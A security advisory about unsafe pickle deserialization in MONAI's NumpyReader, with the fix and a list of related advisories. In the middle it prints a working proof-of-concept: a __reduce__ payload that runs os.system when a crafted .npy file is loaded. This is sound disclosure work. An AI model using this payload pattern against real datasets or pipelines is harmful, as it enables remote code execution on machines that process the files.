MONAI NumpyReader Unsafe Deserialization via allow_pickle=True
MONAI's NumpyReader hardcoded allow_pickle=True when loading .npy and .npz files, letting an attacker execute arbitrary code by embedding a malicious pickle payload in any medical imaging dataset…

The problem
The NumpyReader class in monai/data/image_reader.py called np.load(name, allow_pickle=True) unconditionally. Users could not override this, because the docstring explicitly blocked allow_pickle from kwargs.
LoadImage selects NumpyReader automatically for .npy and .npz extensions, so the entire standard MONAI data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset) was reachable. Dropping a crafted file into a shared medical imaging dataset is enough to trigger code execution on any machine that processes it.
Proof of concept
A working proof-of-concept for this issue in monai, with the exact payload below.
#!/usr/bin/env python3
# PoC: RCE via NumpyReader allow_pickle=True in MONAI < 1.6.0
import os, tempfile, numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('id > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# Trigger via NumpyReader (also triggered automatically by LoadImage on .npy files)
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
reader.read(malicious_npy) # executes os.system('id > /tmp/monai_rce_proof.txt')
if os.path.exists('/tmp/monai_rce_proof.txt'):
print('[!] RCE CONFIRMED:', open('/tmp/monai_rce_proof.txt').read().strip())Python's pickle protocol executes arbitrary code during deserialization via __reduce__. Because allow_pickle=True was hardcoded, any .npy or .npz file carrying a pickled object would run its __reduce__ method at load time, with no way for callers to opt out.
PR #8875 changed NumpyReader to accept allow_pickle as an explicit constructor argument, defaulting to False. The same project had already applied this pattern to torch.load calls (weights_only=True) and NPZDataset (which correctly never set allow_pickle=True), but NumpyReader was missed in those earlier hardening passes.
CWE-502 (Deserialization of Untrusted Data).
The fix
Upgrade to monai >= 1.6.0. The patch (PR #8875) adds an allow_pickle parameter to NumpyReader that defaults to False. If your pipeline genuinely requires pickled .npy objects, pass NumpyReader(allow_pickle=True) explicitly and only for data you fully trust.
Reported by romain-deperne.
Related research
- high · 7.8MONAI algo_from_pickle() Unsafe Pickle Deserialization RCE (Incomplete Fix)
- high · 8.8CVE-2026-57516CVE-2026-57516: Ray read_webdataset Arbitrary Code Execution via Default Pickle Decoder
- high · 7.8CVE-2026-54071CVE-2026-54071: BabelDOC Arbitrary Code Execution via CMap Pickle Deserialization
- high · 7.1CVE-2026-9291CVE-2026-9291: amazon-braket-sdk Insecure Deserialization via pickle.loads()